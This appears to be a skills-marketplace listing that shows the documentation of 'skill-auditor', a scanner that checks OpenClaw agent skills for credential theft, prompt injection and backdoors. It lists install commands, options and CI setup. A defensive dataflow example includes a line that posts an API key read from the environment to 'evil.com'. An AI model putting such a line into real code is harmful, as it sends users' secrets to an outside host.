菜单
Security scanner that catches malicious skills before they steal your data. Detects credential theft, prompt injection, and hidden backdoors. Works immediately with zero setup. Optional AST dataflow analysis traces how your data moves through code.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/bighardperson/computer-science-skills-collection --skill skill-auditor命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
| name | skill-auditor |
| version | 2.1.3 |
| description | Security scanner that catches malicious skills before they steal your data. Detects credential theft, prompt injection, and hidden backdoors. Works immediately with zero setup. Optional AST dataflow analysis traces how your data moves through code. |
Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.
Run the setup wizard to configure optional features:
cd skills/skill-auditor
node scripts/setup.js
The wizard explains each feature, shows real test data, and lets you choose what to enable.
Scan a skill:
node skills/skill-auditor/scripts/scan-skill.js <skill-directory>
Audit all your installed skills:
node skills/skill-auditor/scripts/audit-installed.js
Run the interactive setup to configure optional features:
cd skills/skill-auditor
node scripts/setup.js
The wizard will:
~/.openclaw/skill-auditor.jsonnode scripts/setup.js # Interactive setup wizard
node scripts/setup.js --status # Show current configuration
node scripts/setup.js --enable-ast # Just enable AST analysis
Scan every skill in your OpenClaw installation at once:
node scripts/audit-installed.js
Options:
node scripts/audit-installed.js --severity critical # Only critical issues
node scripts/audit-installed.js --json # Save results to audit-results.json
node scripts/audit-installed.js --verbose # Show top findings per skill
Output:
Works on all platforms with just Node.js (which OpenClaw already provides).
Requires Python 3.8+ and tree-sitter packages.
| Platform | Python Install | Tree-sitter Install |
|---|---|---|
| Windows | Pre-installed or winget install Python.Python.3 | pip install tree-sitter tree-sitter-python |
| macOS | Pre-installed or brew install python3 | pip3 install tree-sitter tree-sitter-python |
| Linux | apt install python3-pip | pip3 install tree-sitter tree-sitter-python |
Note: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!
Traces data from sources to sinks through code execution paths
npm install tree-sitter tree-sitter-python
node scripts/scan-skill.js <skill> --mode strict
What it detects:
Example:
# File 1: utils.py
def get_secrets(): return os.environ.get('API_KEY')
# File 2: main.py
key = get_secrets()
requests.post('evil.com', data=key) # ← Dataflow detected!
Scans executable files against 70+ antivirus engines
export VIRUSTOTAL_API_KEY="your-key-here"
node scripts/scan-skill.js <skill> --use-virustotal
Supported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc.
Output includes:
Uses AI to understand if detected behaviors match stated intent
# Requires OpenClaw gateway running
node scripts/scan-skill.js <skill> --use-llm
How it works:
Example:
GitHub Code Scanning compatible format
node scripts/scan-skill.js <skill> --format sarif --fail-on-findings
GitHub integration:
# .github/workflows/skill-scan.yml
- name: Scan Skills
run: |
node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
--format sarif --fail-on-findings > results.sarif
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: results.sarif
Adjustable sensitivity levels
--mode strict # All patterns, higher false positives
--mode balanced # Default, optimized accuracy
--mode permissive # Only critical patterns
# Scan local skill
node scripts/scan-skill.js ../my-skill
# Scan with JSON output
node scripts/scan-skill.js ../my-skill --json report.json
# Format visual report
node scripts/format-report.js report.json
# Full analysis with all features
node scripts/scan-skill.js ../my-skill \
--mode strict \
--use-virustotal \
--use-llm \
--format sarif \
--json full-report.sarif
# CI/CD integration
node scripts/scan-skill.js ../my-skill \
--format sarif \
--fail-on-findings \
--mode balanced
# Scan GitHub skill without cloning
node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json
node scripts/format-report.js remote-report.json
# Works immediately — no installation needed
node skill-auditor/scripts/scan-skill.js <skill>
cd skills/skill-auditor
# Install all optional features
npm install
# Or install selectively:
npm install tree-sitter tree-sitter-python # AST analysis
npm install yara # YARA rules (future)
# VirusTotal requires API key only:
export VIRUSTOTAL_API_KEY="your-key"
# LLM analysis requires OpenClaw gateway:
openclaw gateway start
{
"skill": { "name": "example", "description": "..." },
"riskLevel": "HIGH",
"accuracyScore": { "score": 7, "reason": "..." },
"findings": [...],
"summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] }
}
--format sarif
Uploads to GitHub Security tab, integrates with pull request checks.
node scripts/format-report.js report.json
Human-readable summary with threat gauge and actionable findings.
VIRUSTOTAL_API_KEY="vt-key" # VirusTotal integration
DEBUG="1" # Verbose error output
--json <file> # JSON output file
--format sarif # SARIF output for GitHub
--mode <mode> # strict|balanced|permissive
--use-virustotal # Enable binary scanning
--use-llm # Enable semantic analysis
--custom-rules <dir> # Additional YARA rules
--fail-on-findings # Exit code 1 for HIGH/CRITICAL
--help # Show all options
skill-auditor/
├── scripts/
│ ├── scan-skill.js # Main scanner (v2.0)
│ ├── scan-url.js # Remote GitHub scanning
│ ├── format-report.js # Visual report formatter
│ ├── analyzers/ # Pluggable analysis engines
│ │ ├── static.js # Core regex patterns (zero-dep)
│ │ ├── ast-python.js # Python dataflow analysis
│ │ ├── virustotal.js # Binary malware scanning
│ │ └── llm-semantic.js # AI-powered intent analysis
│ └── utils/
│ └── sarif.js # GitHub Code Scanning output
├── rules/
│ └── default.yar # YARA format patterns
├── package.json # Optional dependencies
└── references/ # Documentation (unchanged)
v1.x commands work unchanged:
node scan-skill.js <skill-dir> # ✅ Works
node scan-skill.js <skill-dir> --json out.json # ✅ Works
node format-report.js out.json # ✅ Works
New v2.0 features are opt-in:
node scan-skill.js <skill-dir> --use-llm # ⚡ Enhanced
node scan-skill.js <skill-dir> --use-virustotal # ⚡ Enhanced
"tree-sitter dependencies not available"
npm install tree-sitter tree-sitter-python
"VirusTotal API error: 403"
export VIRUSTOTAL_API_KEY="your-actual-key"
"LLM semantic analysis failed"
# Check OpenClaw gateway is running:
openclaw gateway status
curl http://localhost:18789/api/v1/health
"SARIF output not generated"
# Ensure all dependencies installed:
cd skills/skill-auditor && npm install
DEBUG=1 node scripts/scan-skill.js <skill>
scripts/analyzers/static.jsrules/ directoryscripts/analyzers/ast-python.js# Test against multiple skills:
node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict
node scripts/scan-skill.js ../summarize --use-virustotal
node scripts/scan-skill.js ../secure-browser-agent --format sarif
This scanner is one layer of defense, not a guarantee. Always:
For sensitive environments, enable all advanced features:
node scripts/scan-skill.js <skill> \
--mode strict \
--use-virustotal \
--use-llm \
--fail-on-findings
Auto-generated frontmatter
AndonQ 腾讯云智能客服"领域虾" — 不切窗口、不排队，即刻获得腾讯云全产品线专业解答。支持工单查询（列表/详情/流水）、集团工单与需求单管理、腾讯云全产品线智能问答，以及通过 tccli 调用腾讯云只读查询类 API（如 CVM、CBS、CAM 等）。当用户查询工单、查看工单详情、咨询腾讯云产品问题（如 CVM、轻量应用服务器、COS 等）、查询集团工单/需求单、要求找人工客服、或需要调用腾讯云 API 查询资源信息时使用。
Scan installed OpenClaw skills for malicious code patterns including ClickFix social engineering, reverse shell (RAT), and data exfiltration. Uses OG-Text model for agentic detection.
基于 SOC 职业分类